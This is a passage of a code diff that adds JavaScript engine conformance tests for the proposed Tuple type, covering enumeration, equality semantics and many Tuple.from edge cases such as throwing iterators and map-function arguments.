+if (typeof reportCompare === "function") reportCompare(0, 0);
diff --git a/js/src/tests/non262/Tuple/enumeration.js b/js/src/tests/non262/Tuple/enumeration.js
new file mode 100644
index 0000000000..834c919e8e
--- /dev/null
+++ b/js/src/tests/non262/Tuple/enumeration.js
@@ -0,0 +1,48 @@
+// |reftest| skip-if(!this.hasOwnProperty("Tuple"))
+
+var tup = #[1, 2, 3];
+
+var keys = Object.keys(tup);
+assertEq(keys.length, 3);
+assertEq(keys[0], "0");
+assertEq(keys[1], "1");
+assertEq(keys[2], "2");
+
+var values = Object.values(tup);
+assertEq(values.length, 3);
+assertEq(values[0], 1);
+assertEq(values[1], 2);
+assertEq(values[2], 3);
+
+var entries = Object.entries(tup);
+assertEq(entries.length, 3);
+assertEq(entries[0][0], "0");
+assertEq(entries[0][1], 1);
+assertEq(entries[1][0], "1");
+assertEq(entries[1][1], 2);
+assertEq(entries[2][0], "2");
+assertEq(entries[2][1], 3);
+
+var ownKeys = Reflect.ownKeys(Object(tup));
+assertEq(ownKeys.length, 3);
+assertEq(ownKeys[0], "0");
+assertEq(ownKeys[1], "1");
+assertEq(ownKeys[2], "2");
+
+var spreadKeys = Object.keys({ ...tup });
+assertEq(spreadKeys.length, 3);
+assertEq(spreadKeys[0], "0");
+assertEq(spreadKeys[1], "1");
+assertEq(spreadKeys[2], "2");
+
+var i = 0;
+for (var key in tup) {
+ switch (i++) {
+ case 0: assertEq(key, "0"); break;
+ case 1: assertEq(key, "1"); break;
+ case 2: assertEq(key, "2"); break;
+ default: assertUnreachable();
+ }
+}
+
+if (typeof reportCompare === "function") reportCompare(0, 0);
diff --git a/js/src/tests/non262/Tuple/equality.js b/js/src/tests/non262/Tuple/equality.js
new file mode 100644
index 0000000000..4e85d9bb59
--- /dev/null
+++ b/js/src/tests/non262/Tuple/equality.js
@@ -0,0 +1,32 @@
+// |reftest| skip-if(!this.hasOwnProperty("Tuple"))
+
+let simple1 = #[1, 2];
+let simple2 = #[1, 2];
+let simpleDiff = #[0, 2];
+let simpleDiff2 = #[1];
+
+assertEq(simple1 === simple2, true);
+assertEq(simple1 === simpleDiff, false);
+assertEq(simple1 === simpleDiff2, false);
+
+let withPositiveZero = #[1, 2, +0];
+let withPositiveZero2 = #[1, 2, +0];
+let withNegativeZero = #[1, 2, -0];
+
+assertEq(withPositiveZero === withPositiveZero2, true);
+assertEq(Object.is(withPositiveZero, withPositiveZero2), true);
+assertEq(#[withPositiveZero] === #[withPositiveZero2], true);
+assertEq(Object.is(#[withPositiveZero], #[withPositiveZero2]), true);
+
+assertEq(withPositiveZero === withNegativeZero, true);
+assertEq(Object.is(withPositiveZero, withNegativeZero), false);
+assertEq(#[withPositiveZero] === #[withNegativeZero], true);
+assertEq(Object.is(#[withPositiveZero], #[withNegativeZero]), false);
+
+let withNaN = #[1, NaN, 2];
+let withNaN2 = #[1, NaN, 2];
+
+assertEq(withNaN === withNaN2, true);
+assertEq(Object.is(withNaN, withNaN2), true);
+
+if (typeof reportCompare === "function") reportCompare(0, 0);
diff --git a/js/src/tests/non262/Tuple/from/arraylike-get-length-error.js b/js/src/tests/non262/Tuple/from/arraylike-get-length-error.js
new file mode 100644
index 0000000000..7c16e988ba
--- /dev/null
+++ b/js/src/tests/non262/Tuple/from/arraylike-get-length-error.js
@@ -0,0 +1,17 @@
+// |reftest| skip-if(!this.hasOwnProperty("Tuple"))
+
+/* 9. Let len be ? LengthOfArrayLike(arrayLike). */
+
+var arrayLike = {};
+
+Object.defineProperty(arrayLike, "length", {
+ get: function() {
+ throw new SyntaxError();
+ }
+});
+
+assertThrowsInstanceOf(function() {
+ Tuple.from(arrayLike);
+}, SyntaxError, "items.length throws");
+
+reportCompare(0, 0);
diff --git a/js/src/tests/non262/Tuple/from/arraylike-to-length-error.js b/js/src/tests/non262/Tuple/from/arraylike-to-length-error.js
new file mode 100644
index 0000000000..fb1c20a5c8
--- /dev/null
+++ b/js/src/tests/non262/Tuple/from/arraylike-to-length-error.js
@@ -0,0 +1,17 @@
+// |reftest| skip-if(!this.hasOwnProperty("Tuple"))
+
+/* 9. Let len be ? LengthOfArrayLike(arrayLike). */
+
+var arrayLike = { length: {} };
+
+arrayLike.length = {
+ valueOf: function() {
+ throw new SyntaxError();
+ }
+};
+
+assertThrowsInstanceOf(() => Tuple.from(arrayLike),
+ SyntaxError, "items has invalid length");
+
+reportCompare(0, 0);
+
diff --git a/js/src/tests/non262/Tuple/from/calling-from-valid-1-noStrict.js b/js/src/tests/non262/Tuple/from/calling-from-valid-1-noStrict.js
new file mode 100644
index 0000000000..a90e10dbae
--- /dev/null
+++ b/js/src/tests/non262/Tuple/from/calling-from-valid-1-noStrict.js
@@ -0,0 +1,43 @@
+// |reftest| skip-if(!this.hasOwnProperty("Tuple"))
+
+var list = {
+ '0': 41,
+ '1': 42,
+ '2': 43,
+ length: 3
+};
+var calls = [];
+
+function mapFn(value) {
+ calls.push({
+ args: arguments,
+ thisArg: this
+ });
+ return value * 2;
+}
+
+var result = Tuple.from(list, mapFn);
+
+assertEq(result.length, 3);
+assertEq(result[0], 82);
+assertEq(result[1], 84);
+assertEq(result[2], 86);
+
+assertEq(calls.length, 3);
+
+assertEq(calls[0].args.length, 2);
+assertEq(calls[0].args[0], 41);
+assertEq(calls[0].args[1], 0);
+assertEq(calls[0].thisArg, this);
+
+assertEq(calls[1].args.length, 2);
+assertEq(calls[1].args[0], 42);
+assertEq(calls[1].args[1], 1);
+assertEq(calls[1].thisArg, this);
+
+assertEq(calls[2].args.length, 2);
+assertEq(calls[2].args[0], 43);
+assertEq(calls[2].args[1], 2);
+assertEq(calls[2].thisArg, this);
+
+reportCompare(0, 0);
diff --git a/js/src/tests/non262/Tuple/from/calling-from-valid-1-onlyStrict-strict.js b/js/src/tests/non262/Tuple/from/calling-from-valid-1-onlyStrict-strict.js
new file mode 100644
index 0000000000..79914f4fd6
--- /dev/null
+++ b/js/src/tests/non262/Tuple/from/calling-from-valid-1-onlyStrict-strict.js
@@ -0,0 +1,44 @@
+// |reftest| skip-if(!this.hasOwnProperty("Tuple"))
+'use strict';
+
+var list = {
+ '0': 41,
+ '1': 42,
+ '2': 43,
+ length: 3
+};
+var calls = [];
+
+function mapFn(value) {
+ calls.push({
+ args: arguments,
+ thisArg: this
+ });
+ return value * 2;
+}
+
+var result = Tuple.from(list, mapFn);
+
+assertEq(result.length, 3);
+assertEq(result[0], 82);
+assertEq(result[1], 84);
+assertEq(result[2], 86);
+
+assertEq(calls.length, 3);
+
+assertEq(calls[0].args.length, 2);
+assertEq(calls[0].args[0], 41);
+assertEq(calls[0].args[1], 0);
+assertEq(calls[0].thisArg, undefined);
+
+assertEq(calls[1].args.length, 2);
+assertEq(calls[1].args[0], 42);
+assertEq(calls[1].args[1], 1);
+assertEq(calls[1].thisArg, undefined);
+
+assertEq(calls[2].args.length, 2);
+assertEq(calls[2].args[0], 43);
+assertEq(calls[2].args[1], 2);
+assertEq(calls[2].thisArg, undefined);
+
+reportCompare(0, 0);
diff --git a/js/src/tests/non262/Tuple/from/calling-from-valid-2.js b/js/src/tests/non262/Tuple/from/calling-from-valid-2.js
new file mode 100644
index 0000000000..23f78d829e
--- /dev/null
+++ b/js/src/tests/non262/Tuple/from/calling-from-valid-2.js
@@ -0,0 +1,44 @@
+// |reftest| skip-if(!this.hasOwnProperty("Tuple"))
+
+var list = {
+ '0': 41,
+ '1': 42,
+ '2': 43,
+ length: 3
+};
+var calls = [];
+var thisArg = {};
+
+function mapFn(value) {
+ calls.push({
+ args: arguments,
+ thisArg: this
+ });
+ return value * 2;
+}
+
+var result = Tuple.from(list, mapFn, thisArg);
+
+assertEq(result.length, 3);
+assertEq(result[0], 82);
+assertEq(result[1], 84);
+assertEq(result[2], 86);
+
+assertEq(calls.length, 3);
+
+assertEq(calls[0].args.length, 2);
+assertEq(calls[0].args[0], 41);
+assertEq(calls[0].args[1], 0);
+assertEq(calls[0].thisArg, thisArg);
+
+assertEq(calls[1].args.length, 2);
+assertEq(calls[1].args[0], 42);
+assertEq(calls[1].args[1], 1);
+assertEq(calls[1].thisArg, thisArg);
+
+assertEq(calls[2].args.length, 2);
+assertEq(calls[2].args[0], 43);
+assertEq(calls[2].args[1], 2);
+assertEq(calls[2].thisArg, thisArg);
+
+reportCompare(0, 0);
diff --git a/js/src/tests/non262/Tuple/from/descriptor.js b/js/src/tests/non262/Tuple/from/descriptor.js
new file mode 100644
index 0000000000..60d5575187
--- /dev/null
+++ b/js/src/tests/non262/Tuple/from/descriptor.js
@@ -0,0 +1,9 @@
+// |reftest| skip-if(!this.hasOwnProperty("Tuple"))
+
+var desc = Object.getOwnPropertyDescriptor(Tuple, "from");
+assertEq(desc.value, Tuple.from);
+assertEq(desc.writable, true);
+assertEq(desc.enumerable, false);
+assertEq(desc.configurable, true);
+
+reportCompare(0, 0);
diff --git a/js/src/tests/non262/Tuple/from/elements-added-after.js b/js/src/tests/non262/Tuple/from/elements-added-after.js
new file mode 100644
index 0000000000..d0c045ffb6
--- /dev/null
+++ b/js/src/tests/non262/Tuple/from/elements-added-after.js
@@ -0,0 +1,29 @@
+// |reftest| skip-if(!this.hasOwnProperty("Tuple"))
+var tupleIndex = -1;
+var originalLength = 7;
+var obj = {
+ length: originalLength,
+ 0: 2,
+ 1: 4,
+ 2: 8,
+ 3: 16,
+ 4: 32,
+ 5: 64,
+ 6: 128
+};
+var tuple = #[2, 4, 8, 16, 32, 64, 128];
+
+function mapFn(value, index) {
+ tupleIndex++;
+ assertEq(value, obj[tupleIndex]);
+ assertEq(index, tupleIndex);
+ obj[originalLength + tupleIndex] = 2 * tupleIndex + 1;
+
+ return obj[tupleIndex];
+}
+
+
+var t = Tuple.from(obj, mapFn);
+assertEq(t, tuple);
+
+reportCompare(0, 0);
diff --git a/js/src/tests/non262/Tuple/from/elements-deleted-after.js b/js/src/tests/non262/Tuple/from/elements-deleted-after.js
new file mode 100644
index 0000000000..b4f6f24593
--- /dev/null
+++ b/js/src/tests/non262/Tuple/from/elements-deleted-after.js
@@ -0,0 +1,24 @@
+// |reftest| skip-if(!this.hasOwnProperty("Tuple"))
+var originalTuple = #[0, 1, -2, 4, -8, 16];
+var array = [0,1,-2,4,-8,16];
+var t = #[];
+var arrayIndex = -1;
+
+function mapFn(value, index) {
+ this.arrayIndex++;
+ assertEq(value, array[this.arrayIndex]);
+ assertEq(index, this.arrayIndex);
+ array.splice(array.length - 1, 1);
+ return 127;
+}
+
+
+t = Tuple.from(array, mapFn, this);
+
+assertEq(t.length, originalTuple.length / 2);
+
+for (var j = 0; j < originalTuple.length / 2; j++) {
+ assertEq(t[j], 127);
+}
+
+reportCompare(0, 0);
diff --git a/js/src/tests/non262/Tuple/from/from.js b/js/src/tests/non262/Tuple/from/from.js
new file mode 100644
index 0000000000..ee79cdd33f
--- /dev/null
+++ b/js/src/tests/non262/Tuple/from/from.js
@@ -0,0 +1,89 @@
+// |reftest| skip-if(!this.hasOwnProperty("Tuple"))
+/*
+8.2.2.2 Tuple.from ( items [ , mapFn [, thisArg ] ] )
+When the from method is called with argument items and optional arguments mapfn and thisArg, the following steps are taken:
+
+1. If mapfn is undefined, let mapping be false.
+2. Else,
+a. If IsCallable(mapfn) is false, throw a TypeError exception.
+b. Let mapping be true.
+3. Let list be a new empty List.
+4. Let k be 0.
+5. Let usingIterator be ? GetMethod(items, @@iterator).
+6. If usingIterator is not undefined, then
+a. Let adder be a new Abstract Closure with parameters (key, value) that captures (list, mapFn, thisArg, mapping, k) and performs the following steps when called:
+i. If mapping is true, then
+1. Let mappedValue be ? Call(mapfn, thisArg, « value, k »).
+ii. Else, let mappedValue be value.
+iii. If Type(mappedValue) is Object, throw a TypeError exception.
+iv. Append mappedValue to list.
+v. Set k to k + 1.
+b. Perform ! AddEntriesFromIterable(undefined, iterable, adder).
+c. Return a new Tuple value whose [[Sequence]] is list.
+7. NOTE: items is not an Iterable so assume it is an array-like object.
+8. Let arrayLike be ! ToObject(items).
+9. Let len be ? LengthOfArrayLike(arrayLike).
+10. Repeat, while k < len,
+a. Let Pk be ! ToString(k).
+b. Let kValue be ? Get(arrayLike, Pk).
+c. If mapping is true, then
+i. Let mappedValue be ? Call(mapfn, thisArg, « kValue, k »).
+d. Else, let mappedValue be kValue.
+e. If Type(mappedValue) is Object, throw a TypeError exception.
+f. Append mappedValue to list.
+g. Set k to k + 1.
+11. Return a new Tuple value whose [[Sequence]] is list.
+*/
+
+/* Step 1: mapfn explicitly undefined */
+assertEq(Tuple.from([1,2],undefined),#[1,2]);
+
+/* Step 2a: If IsCallable(mapfn) is false, throw a TypeError exception. */
+assertThrowsInstanceOf(() => Tuple.from([1,2,3],"monkeys"), TypeError, "mapfn not callable");
+
+/* Step 5 */
+assertThrowsInstanceOf(() => Tuple.from(undefined), TypeError,
+ "can't access property Symbol.iterator of undefined");
+assertThrowsInstanceOf(() => Tuple.from(null), TypeError,
+ "can't access property Symbol.iterator of null");
+assertEq(Tuple.from(1), #[]);
+var obj = {};
+obj[Symbol.iterator] = null;
+assertEq(Tuple.from(obj), #[]);
+obj[Symbol.iterator] = 5;
+assertThrowsInstanceOf(() => Tuple.from(obj), TypeError,
+ "number is not a function");
+
+
+/* Step 6a.i. mapping exists */
+assertEq(Tuple.from([1,2,3],x => x+1), #[2,3,4]);
+assertEq(Tuple.from(#[1,2,3],x => x+1), #[2,3,4]);
+assertEq(Tuple.from("xyz", c => String.fromCharCode(c.charCodeAt(0) + 1)), #['y', 'z', '{']);
+/* Step 6a.ii. mapping does not exist */
+assertEq(Tuple.from([1,2,3,4,5]), #[1,2,3,4,5]);
+assertEq(Tuple.from(#[1,2,3,4,5]), #[1,2,3,4,5]);
+assertEq(Tuple.from("xyz"), #['x', 'y', 'z']);
+
+/* Step 6a.iii. if mapfn returns Object, throw */
+assertThrowsInstanceOf(() => Tuple.from([1,2], x => [x]), TypeError, "Tuple cannot contain object");
+
+/* Step 7 -- array-like but not iterable */
+var obj = { length: 3, 0: "a", 1: "b", 2: "c" };
+assertEq(Tuple.from(obj), #["a","b","c"]);
+assertEq(Tuple.from(obj, s => s + s), #["aa","bb","cc"]);
+
+obj = { 0: "a", 1: "b", 2: "c" };
+assertEq(Tuple.from(obj), #[]);
+
+obj = { length: 3, 0: 1, 2: 3 };
+assertEq(Tuple.from(obj), #[1, undefined, 3]);
+
+obj = { length: 3, 0: 1, 1: [2], 2: 3 };
+assertThrowsInstanceOf(() => Tuple.from(obj), TypeError, "Tuple cannot contain object");
+
+/* Step 10e */
+assertThrowsInstanceOf(() => Tuple.from([1, 2, [3,4]]), TypeError,
+ "Tuple can't contain Object");
+
+
+reportCompare(0, 0);
diff --git a/js/src/tests/non262/Tuple/from/get-iter-method-err.js b/js/src/tests/non262/Tuple/from/get-iter-method-err.js
new file mode 100644
index 0000000000..847b3374ae
--- /dev/null
+++ b/js/src/tests/non262/Tuple/from/get-iter-method-err.js
@@ -0,0 +1,12 @@
+// |reftest| skip-if(!this.hasOwnProperty("Tuple"))
+var items = {};
+Object.defineProperty(items, Symbol.iterator, {
+ get: function() {
+ throw new RangeError();
+ }
+});
+
+assertThrowsInstanceOf(() => Tuple.from(items), RangeError,
+ 'Tuple.from(items) should throw');
+
+reportCompare(0, 0);
diff --git a/js/src/tests/non262/Tuple/from/indexed-setters.js b/js/src/tests/non262/Tuple/from/indexed-setters.js
new file mode 100644
index 0000000000..90aa5be1cb
--- /dev/null
+++ b/js/src/tests/non262/Tuple/from/indexed-setters.js
@@ -0,0 +1,12 @@
+// |reftest| skip-if(!this.hasOwnProperty("Tuple"))
+
+// If an indexed Array setter is overridden, TupleMap shouldn't use it
+// when constructing the intermediate array
+
+z = 5;
+Object.defineProperty(Array.prototype, '0', { set: function(y) { z = 42; }});
+newT = Tuple.from([1, 2, 3]);
+assertEq(z, 5);
+
+reportCompare(0, 0);
+
diff --git a/js/src/tests/non262/Tuple/from/items-is-arraybuffer.js b/js/src/tests/non262/Tuple/from/items-is-arraybuffer.js
new file mode 100644
index 0000000000..4e55c1b9fe
--- /dev/null
+++ b/js/src/tests/non262/Tuple/from/items-is-arraybuffer.js
@@ -0,0 +1,8 @@
+// |reftest| skip-if(!this.hasOwnProperty("Tuple"))
+var arrayBuffer = new ArrayBuffer(7);
+
+var result = Tuple.from(arrayBuffer);
+
+assertEq(result.length, 0);
+
+reportCompare(0, 0);
diff --git a/js/src/tests/non262/Tuple/from/items-is-null-throws.js b/js/src/tests/non262/Tuple/from/items-is-null-throws.js
new file mode 100644
index 0000000000..d6574bebd1
--- /dev/null
+++ b/js/src/tests/non262/Tuple/from/items-is-null-throws.js
@@ -0,0 +1,5 @@
+// |reftest| skip-if(!this.hasOwnProperty("Tuple"))
+assertThrowsInstanceOf(() => Tuple.from(null), TypeError,
+ 'Tuple.from(null) should throw');
+
+reportCompare(0, 0);
diff --git a/js/src/tests/non262/Tuple/from/iter-adv-err.js b/js/src/tests/non262/Tuple/from/iter-adv-err.js
new file mode 100644
index 0000000000..44b96dc5ff
--- /dev/null
+++ b/js/src/tests/non262/Tuple/from/iter-adv-err.js
@@ -0,0 +1,15 @@
+// |reftest| skip-if(!this.hasOwnProperty("Tuple"))
+var items = {};
+items[Symbol.iterator] = function() {
+ return {
+ next: function() {
+ throw new RangeError();
+ }
+ };
+};
+
+assertThrowsInstanceOf(function() {
+ Tuple.from(items);
+}, RangeError, 'Tuple.from(items) should throw');
+
+reportCompare(0, 0);
diff --git a/js/src/tests/non262/Tuple/from/iter-get-iter-err.js b/js/src/tests/non262/Tuple/from/iter-get-iter-err.js
new file mode 100644
index 0000000000..c868c549fd
--- /dev/null
+++ b/js/src/tests/non262/Tuple/from/iter-get-iter-err.js
@@ -0,0 +1,11 @@
+// |reftest| skip-if(!this.hasOwnProperty("Tuple"))
+var itemsPoisonedSymbolIterator = {};
+itemsPoisonedSymbolIterator[Symbol.iterator] = function() {
+ throw new RangeError();
+};
+
+assertThrowsInstanceOf(function() {
+ Tuple.from(itemsPoisonedSymbolIterator);
+}, RangeError, 'Tuple.from(itemsPoisonedSymbolIterator) throws');
+
+reportCompare(0, 0);
diff --git a/js/src/tests/non262/Tuple/from/iter-get-iter-val-err.js b/js/src/tests/non262/Tuple/from/iter-get-iter-val-err.js
new file mode 100644
index 0000000000..d1590ecb01
--- /dev/null
+++ b/js/src/tests/non262/Tuple/from/iter-get-iter-val-err.js
@@ -0,0 +1,21 @@
+// |reftest| skip-if(!this.hasOwnProperty("Tuple"))
+var itemsPoisonedIteratorValue = {};
+var poisonedValue = {};
+Object.defineProperty(poisonedValue, 'value', {
+ get: function() {
+ throw new RangeError();
+ }
+});
+itemsPoisonedIteratorValue[Symbol.iterator] = function() {
+ return {
+ next: function() {
+ return poisonedValue;
+ }
+ };
+};
+
+assertThrowsInstanceOf(function() {
+ Tuple.from(itemsPoisonedIteratorValue);
+}, RangeError, 'Tuple.from(itemsPoisonedIteratorValue) throws');
+
+reportCompare(0, 0);
diff --git a/js/src/tests/non262/Tuple/from/iter-map-fn-args.js b/js/src/tests/non262/Tuple/from/iter-map-fn-args.js
new file mode 100644
index 0000000000..33c8234d47
--- /dev/null
+++ b/js/src/tests/non262/Tuple/from/iter-map-fn-args.js
@@ -0,0 +1,44 @@
+// |reftest| skip-if(!this.hasOwnProperty("Tuple"))
+var args = [];
+var firstResult = {
+ done: false,
+ value: {}
+};
+var secondResult = {
+ done: false,
+ value: {}
+};
+var mapFn = function(value, idx) {
+ args.push(arguments);
+};
+var items = {};
+var nextResult = firstResult;
+var nextNextResult = secondResult;
+
+items[Symbol.iterator] = function() {
+ return {
+ next: function() {
+ var result = nextResult;
+ nextResult = nextNextResult;
+ nextNextResult = {
+ done: true
+ };
+
+ return result;
+ }
+ };
+};
+
+Tuple.from(items, mapFn);
+
+assertEq(args.length, 2);
+
+assertEq(args[0].length, 2);
+assertEq(args[0][0], firstResult.value);
+assertEq(args[0][1], 0);
+
+assertEq(args[1].length, 2);
+assertEq(args[1][0], secondResult.value);
+assertEq(args[1][1], 1);
+
+reportCompare(0, 0);
diff --git a/js/src/tests/non262/Tuple/from/iter-map-fn-err.js b/js/src/tests/non262/Tuple/from/iter-map-fn-err.js
new file mode 100644
index 0000000000..c48db001b0
--- /dev/null
+++ b/js/src/tests/non262/Tuple/from/iter-map-fn-err.js
@@ -0,0 +1,26 @@
+// |reftest| skip-if(!this.hasOwnProperty("Tuple"))
+var closeCount = 0;
+var mapFn = function() {
+ throw new RangeError();
+};
+var items = {};
+items[Symbol.iterator] = function() {
+ return {
+ return: function() {
+ closeCount += 1;
+ },
+ next: function() {
+ return {
+ done: false
+ };
+ }
+ };
+};
+
+assertThrowsInstanceOf(function() {
+ Tuple.from(items, mapFn);
+}, RangeError, 'Tuple.from(items, mapFn) should throw');
+
+assertEq(closeCount, 1);
+
+reportCompare(0, 0);
diff --git a/js/src/tests/non262/Tuple/from/iter-map-fn-return.js b/js/src/tests/non262/Tuple/from/iter-map-fn-return.js
new file mode 100644
index 0000000000..418439b255
--- /dev/null
+++ b/js/src/tests/non262/Tuple/from/iter-map-fn-return.js
@@ -0,0 +1,44 @@
+// |reftest| skip-if(!this.hasOwnProperty("Tuple"))
+var thisVals = [];
+var nextResult = {
+ done: false,
+ value: {}
+};
+var nextNextResult = {
+ done: false,
+ value: {}
+};
+var firstReturnVal = 1;
+var secondReturnVal = 2;
+var mapFn = function(value, idx) {
+ var returnVal = nextReturnVal;
+ nextReturnVal = nextNextReturnVal;
+ nextNextReturnVal = null;
+ return returnVal;
+};
+var nextReturnVal = firstReturnVal;
+var nextNextReturnVal = secondReturnVal;
+var items = {};
+var result;
+
+items[Symbol.iterator] = function() {
+ return {
+ next: function() {
+ var result = nextResult;
+ nextResult = nextNextResult;
+ nextNextResult = {
+ done: true
+ };
+
+ return result;
+ }
+ };
+};
+
+result = Tuple.from(items, mapFn);
+
+assertEq(result.length, 2);
+assertEq(result[0], firstReturnVal);
+assertEq(result[1], secondReturnVal);
+
+reportCompare(0, 0);
diff --git a/js/src/tests/non262/Tuple/from/iter-map-fn-this-arg.js b/js/src/tests/non262/Tuple/from/iter-map-fn-this-arg.js
new file mode 100644
index 0000000000..2fdd3ddfb4
--- /dev/null
+++ b/js/src/tests/non262/Tuple/from/iter-map-fn-this-arg.js
@@ -0,0 +1,38 @@
+// |reftest| skip-if(!this.hasOwnProperty("Tuple"))
+
+var thisVals = [];
+var nextResult = {
+ done: false,
+ value: {}
+};
+var nextNextResult = {
+ done: false,
+ value: {}
+};
+var mapFn = function() {
+ thisVals.push(this);
+};
+var items = {};
+var thisVal = {};
+
+items[Symbol.iterator] = function() {
+ return {
+ next: function() {
+ var result = nextResult;
+ nextResult = nextNextResult;
+ nextNextResult = {
+ done: true
+ };
+
+ return result;
+ }
+ };
+};
+
+Tuple.from(items, mapFn, thisVal);
+
+assertEq(thisVals.length, 2);
+assertEq(thisVals[0], thisVal);
+assertEq(thisVals[1], thisVal);
+
+reportCompare(0, 0);
diff --git a/js/src/tests/non262/Tuple/from/iter-map-fn-this-non-strict.js b/js/src/tests/non262/Tuple/from/iter-map-fn-this-non-strict.js
new file mode 100644
index 0000000000..56225e0021
--- /dev/null
+++ b/js/src/tests/non262/Tuple/from/iter-map-fn-this-non-strict.js
@@ -0,0 +1,39 @@
+// |reftest| skip-if(!this.hasOwnProperty("Tuple"))
+var thisVals = [];
+var nextResult = {
+ done: false,
+ value: {}
+};
+var nextNextResult = {
+ done: false,
+ value: {}
+};
+var mapFn = function() {
+ thisVals.push(this);
+};
+var items = {};
+var global = function() {
+ return this;
+}();
+
+items[Symbol.iterator] = function() {
+ return {
+ next: function() {
+ var result = nextResult;
+ nextResult = nextNextResult;
+ nextNextResult = {
+ done: true
+ };
+
+ return result;
+ }
+ };
+};
+
+Tuple.from(items, mapFn);
+
+assertEq(thisVals.length, 2);
+assertEq(thisVals[0], global);
+assertEq(thisVals[1], global);
+
+reportCompare(0, 0);
diff --git a/js/src/tests/non262/Tuple/from/iter-map-fn-this-strict-strict.js b/js/src/tests/non262/Tuple/from/iter-map-fn-this-strict-strict.js
new file mode 100644
index 0000000000..8dec1851d3
--- /dev/null
+++ b/js/src/tests/non262/Tuple/from/iter-map-fn-this-strict-strict.js
@@ -0,0 +1,37 @@
+// |reftest| skip-if(!this.hasOwnProperty("Tuple"))
+'use strict';
+var thisVals = [];
+var nextResult = {
+ done: false,
+ value: {}
+};
+var nextNextResult = {
+ done: false,
+ value: {}
+};
+var mapFn = function() {
+ thisVals.push(this);
+};
+var items = {};
+
+items[Symbol.iterator] = function() {
+ return {
+ next: function() {
+ var result = nextResult;
+ nextResult = nextNextResult;
+ nextNextResult = {
+ done: true
+ };
+
+ return result;
+ }
+ };
+};
+
+Tuple.from(items, mapFn);
+
+assertEq(thisVals.length, 2);
+assertEq(thisVals[0], undefined);
+assertEq(thisVals[1], undefined);
+
+reportCompare(0, 0);
diff --git a/js/src/tests/non262/Tuple/from/iter-next-error.js b/js/src/tests/non262/Tuple/from/iter-next-error.js
new file mode 100644
index 0000000000..b29c83c2ec
--- /dev/null
+++ b/js/src/tests/non262/Tuple/from/iter-next-error.js
@@ -0,0 +1,18 @@
+// |reftest| skip-if(!this.hasOwnProperty("Tuple"))
+/* Step 6b. */
+/* AddEntriesFromIterable should throw if next() throws */
+
+var iter = {};
+iter[Symbol.iterator] = function() {
+ return {
+ next: function() {
+ throw new SyntaxError();
+ }
+ };
+};
+
+assertThrowsInstanceOf(function() {
+ Tuple.from(iter);
+}, SyntaxError, "from() should throw if next() throws");
+
+reportCompare(0, 0);
diff --git a/js/src/tests/non262/Tuple/from/iter-next-value-error.js b/js/src/tests/non262/Tuple/from/iter-next-value-error.js
new file mode 100644
index 0000000000..e3b78f0c60
--- /dev/null
+++ b/js/src/tests/non262/Tuple/from/iter-next-value-error.js
@@ -0,0 +1,25 @@
+// |reftest| skip-if(!this.hasOwnProperty("Tuple"))
+/* Step 6b. */
+/* AddEntriesFromIterable should throw if next() throws */
+
+var iter = {};
+iter[Symbol.iterator] = function() {
+ return {
+ next: function() {
+ var result = {};
+ Object.defineProperty(result, 'value', {
+ get: function() {
+ throw new SyntaxError();
+ }
+ });
+
+ return result;
+ }
+ };
+};
+
+assertThrowsInstanceOf(function() {
+ Tuple.from(iter);
+}, SyntaxError, "from() should throw if next() returns value that throws");
+
+reportCompare(0, 0);
diff --git a/js/src/tests/non262/Tuple/from/iter-set-elem-prop.js b/js/src/tests/non262/Tuple/from/iter-set-elem-prop.js
new file mode 100644
index 0000000000..0cf1452d0a
--- /dev/null
+++ b/js/src/tests/non262/Tuple/from/iter-set-elem-prop.js
@@ -0,0 +1,37 @@
+// |reftest| skip-if(!this.hasOwnProperty("Tuple"))
+var items = {};
+var firstIterResult = {
+ done: false,
+ value: 1
+};
+var secondIterResult = {
+ done: false,
+ value: 2
+};
+var thirdIterResult = {
+ done: true,
+ value: 3
+};
+var nextIterResult = firstIterResult;
+var nextNextIterResult = secondIterResult;
+var result;
+
+items[Symbol.iterator] = function() {
+ return {
+ next: function() {
+ var result = nextIterResult;
+
+ nextIterResult = nextNextIterResult;
+ nextNextIterResult = thirdIterResult;
+
+ return result;
+ }
+ };
+};
+
+result = Tuple.from(items);
+
+assertEq(result[0], firstIterResult.value);
+assertEq(result[1], secondIterResult.value);
+
+reportCompare(0, 0);
diff --git a/js/src/tests/non262/Tuple/from/iter-set-length.js b/js/src/tests/non262/Tuple/from/iter-set-length.js
new file mode 100644
index 0000000000..8515ea2bd9
--- /dev/null
+++ b/js/src/tests/non262/Tuple/from/iter-set-length.js
@@ -0,0 +1,31 @@
+// |reftest| skip-if(!this.hasOwnProperty("Tuple"))
+var items = {};
+var result, nextIterResult, lastIterResult;
+items[Symbol.iterator] = function() {
+ return {
+ next: function() {
+ var result = nextIterResult;
+ nextIterResult = lastIterResult;
+ return result;
+ }
+ };
+};
+
+nextIterResult = lastIterResult = {
+ done: true
+};
+result = Tuple.from(items);
+
+assertEq(result.length, 0);
+
+nextIterResult = {
+ done: false
+};
+lastIterResult = {
+ done: true
+};
+result = Tuple.from(items);
+
+assertEq(result.length, 1);
+
+reportCompare(0, 0);
diff --git a/js/src/tests/non262/Tuple/from/length.js b/js/src/tests/non262/Tuple/from/length.js
new file mode 100644
index 0000000000..0c4c77af6f
--- /dev/null
+++ b/js/src/tests/non262/Tuple/from/length.js
@@ -0,0 +1,14 @@
+// |reftest| skip-if(!this.hasOwnProperty("Tuple"))
+var desc = Object.getOwnPropertyDescriptor(Tuple.from, "length");
+assertEq(desc.value, 1);
+assertEq(desc.writable, false);
+assertEq(desc.enumerable, false);
+assertEq(desc.configurable, true);
+
+assertEq(isConstructor(Tuple.from), false);
+
+assertThrowsInstanceOf(() => {
+ new Tuple.from([]);
+}, TypeError, '`new Tuple.from()` throws TypeError');
+
+reportCompare(0, 0);
diff --git a/js/src/tests/non262/Tuple/from/mapfn-is-not-callable-typeerror.js b/js/src/tests/non262/Tuple/from/mapfn-is-not-callable-typeerror.js
new file mode 100644
index 0000000000..9643a8a916
--- /dev/null
+++ b/js/src/tests/non262/Tuple/from/mapfn-is-not-callable-typeerror.js
@@ -0,0 +1,15 @@
+// |reftest| skip-if(!this.hasOwnProperty("Tuple"))
+let vals = [[null, "null"],
+ [{}, "{}"],
+ ['string', "\'string\'"],
+ [true, "true"],
+ [42, "42"],
+ [Symbol('1'), "Symbol(\'1\')"]];
+
+for (p of vals) {
+ let mapfn = p[0];
+ assertThrowsInstanceOf(() => Tuple.from([], mapfn),
+ TypeError, 'Tuple.from([],' + p[1] + ' should throw');
+}
+
+reportCompare(0, 0);
